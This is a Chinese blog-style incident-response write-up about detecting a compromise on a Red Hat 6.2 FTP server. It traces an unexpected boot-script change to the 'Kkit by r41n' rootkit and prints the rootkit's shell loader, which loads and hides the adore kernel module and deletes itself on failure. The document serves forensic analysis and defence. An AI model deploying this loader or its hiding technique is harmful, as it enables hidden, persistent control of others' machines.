一次入侵检查
by liz
一. 发现
前两天装了一个Redhat 6.2,因为懒,系统开了FTP和telnet服务之后就没再管过,平时扔在那里做个ftp中转站。
前日,朋友告诉我机器的ftp不能匿名登录了,很是纳闷,登上去nmap一下,发现不对了:
[liz]$ nmap 127.0.0.1
Port State Service
21/tcp open ftp
23/tcp open telnet
111/tcp open sunrpc
113/tcp open auth
看看网络情况:
[liz]$ netstat -an
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:21 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:23 0.0.0.0:* LISTEN
tcp 0 138 a:23 b:1122 ESTABLISHED
hoho,竟然没有,难道netstat被替换掉了?
看看RPM校验:
[liz]$ rpm -qf /bin/netstat
net-tools-1.54-4
[liz]$ rpm -V net-tools
什么都没有,似乎...netstat没有问题,难道加载了llkm?
[liz]$ lsmod
Module Size Used by
空的(系统本身没有加载lkm),module隐藏了?
是不是杞人忧天啊?看看系统有什么改变没有?
[liz]$ cat /var/log/message
Aug 9 00:05:54 FTP_test PAM_pwdb[889]: (login) session opened for user liz by (uid=0)
Aug 9 00:07:34 FTP_test PAM_pwdb[889]: (login) session closed for user liz
Aug 9 00:07:34 FTP_test inetd[483]: pid 888: exit status 1
Aug 9 00:39:51 FTP_test inetd[483]: pid 919: exit status 1
Aug 9 04:02:00 FTP_test anacron[979]: Updated timestamp for job `cron.daily'to 2001-08-09
Aug 9 06:28:48 FTP_test inetd[483]: extra conf for service 19/tcp (skipped)
Aug 11 11:50:32 FTP_test PAM_pwdb[608]: (login) session opened for user liz by (uid=0)
嘻嘻,发现问题了:怎么大半夜里我的帐号还在用?还有,9号到11号之间竟然没有任何记录?虽然我的机器利用率不高,可crond总还是在跑的吧,连这个都没有,显然显然...
再看看wtmp记录:
[liz]$ strings /var/log/wtmp
...
ftpd748
pts/0
ftpd786
@ftp
pd950c097.dip.t-dialin.net
ftpd786
pts/0
...
ftpd14698
@ftp
pd950ef94.dip.t-dialin.net
ftpd14698
pts/0
....
ftpd15200
@ftp
211.178.18.15
ftpd15200
挺热闹的嘛,当然了,不足为证。
忘了忘了,最重要的:
[liz]$ w
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
liz pts/0 b 10:58am 0.00s 0.11s ? -
只有我一个,也就这个log正常了。
现在可以肯定,系统有人进来了。
比较麻烦,静下心来想一想......
一个cracker,找到一个redhat 6.2的漏洞,比如说wu-ftp2.6 漏洞,很顺利的(5555...没面子)拿到root权限,上载一些东东,加载llkm,隐藏相应的进程、目录和llkm,然后留一个后门(姑且是111或/和113端口的了),擦脚印,撤。
恩,典型的攻击方式,很符合系统的记录,可是留下
痕迹1:wtmp里pd950ef94.dip.t-dialin.net两次来我的机子,而且时间相差甚远(看ftpd号),又是拨号用户,也许不是他,可是我现在抓不到人,错抓一个也比一个没有强,算他倒霉了,*_^。
[1] [2] [3] 下一页
痕迹2:message里擦脚印也不高明点,一股脑删,唉。
痕迹3:好端端的给我机器开几个服务,也不找个高明点的后门,不是明摆着让我去查嘛。
痕迹4,5,6...:待查,呵呵
好了,既然他加载了llkm,rc里势必要留下点什么,要不然机器一重起,llkm没了就完了。
可是rc里那么多,我一个一个查,还不累死啊?
偷个懒,md5一下。
[liz]$ md5sum
慢着.......,现在系统不能相信了,md5sum也不例外,找个干净的cp过来md5。
[liz]$ ftp...
....
[liz]$ /usr/bin/md5sum /etc/inittab > /tmp/md5.txt
[liz]$ cd /etc/rc.d
[liz]$ /usr/bin/md5sum `find `pwd` -type f` >> /tmp/md5.txt
再找个干净的机器造个相同的文件md5.txt1
diff一下:
[liz]$ diff /tmp/md5.txt /tmp/md5.txt1 > result.txt
经过详细和漫长(么?)的比较,并去除链接和以K开头的文件,终于发现两个不一样:
/etc/rc.d/rc.loacl
/etc/rc.d/init.d/syslog
懒得自己去看,还是diff吧,取干净的rc.local和syslog过来
diff的结果:
干净的rc.local忘记注释issue那部分了,无妨无妨
syslog:
< /bin/rkup &
^_^,检测工作结束,拔掉网线,睡觉。
二. 分析
找到cracker加载的位置,以下就好办了:
[liz]$ cat /bin/rkup
#!/bin/sh
# Kkit by r41n (c) 2000
RKPATH=/usr/lib/.rain
...
# Loads and hides knark
...
# Hides files
...
/bin/kload &>/dev/null
呵呵,原来是knark啊,顺势看看kload,找到如下文件:
/bin/rkup
/bin/kload
/usr/lib/.rain目录下:
.:
bot home lkm ssh
./bot:
c0r3 emech
./bot/c0r3:
c0r3
ls: ./bot/emech: Permission denied
./home:
./lkm:
adore.o ava modhide.o src
./lkm/src:
adore.c ava.c config libinvisible.c libinvisible.h modhide.c
./ssh:
ssh_host_key ssh_random_seed sshd.pid sshd_config sshdchk sshdx
经过仔细的(又来了...)分析,终于弄明白大部分是作什么用的:
入侵的cracker似乎叫r41n,这些东东都是他自己写的rootkit kkit里的,从这几个地方可以看到:
(当然或许是个全盘照抄的cracker也不一定)
[liz]$ cat /bin/rkup
#!/bin/sh
# Kkit by r41n (c) 2000
...
[liz]$ cat /usr/lib/.rain/home/.bashrc
...
echo " Welcome r41n! Enjoy Kkit by r41n!"
echo -n " 0wn3d: Thu Aug 9 06:42:38 HKT 2001 "
...
而且可以看到,这个cracker还把系统攻破的时间记下来,跟前边分析的几个log出现问题的时间一致。
从分析的结果看,r41n的这个kkit用的还是knark的思想,又针对一些具体情况做了改动。cracker用的主目录/usr/lib/.rain还是knark风格的,实在没创意。
以下是各个文件作用的分析:
/bin/rkup:
---------start------------
#!/bin/sh
# Kkit by r41n (c) 2000
RKPATH=/usr/lib/.rain
PATH=...
# Loads and hides knark
if [ "$1" != "kit" ]; then
depmod -a &>/dev/null
insmod $RKPATH/lkm/adore.o &>/dev/null
上一页 [1] [2] [3] 下一页
T=`lsmod grep "adore"`
if [ ! "$T" ]; then
# echo "cant load .. recompile" >/test
cd $RKPATH/lkm/src
./config
./compile
if [ -e adore.o ]; then
cp -f adore.o .. &>/dev/null
cp -f modhide.o .. &>/dev/null
cp -f ava .. &>/dev/null
rm -f *o &>/dev/null
rm -f ava &>/dev/null
rm -f compile &>/dev/null
# echo "ok recompiled... loading!" >>/test
else
rm -rf /usr/lib/.rain &>/dev/null
rm -rf /bin/rkup &>/dev/null
rm -rf /bin/kload &>/dev/null
echo "#!/bin/sh" >/bin/rkup
echo "# r41n was here..." >>/bin/rkup
chmod +x /bin/rkup
# echo "cant recompile! OUT!" >>/test
exit
fi
insmod $RKPATH/lkm/adore.o &>/dev/null
T=`lsmod grep "adore"`
if [ ! "$T" ]; then
rm -rf /usr/lib/.rain &>/dev/null
rm -rf /bin/rkup &>/dev/null
rm -rf /bin/kload &>/dev/null
echo "#!/bin/sh" >/bin/rkup
echo "# r41n was here..." >>/bin/rkup
chmod +x /bin/rkup
# echo "cant load after recompile! OUT!" >>/test
exit
fi
fi
# echo "LOADED OK!!!" >>/test
insmod $RKPATH/lkm/modhide.o &>/dev/null
fi
#
(出处:http://www.sheup.com)
(出处:http://www.sheup.com)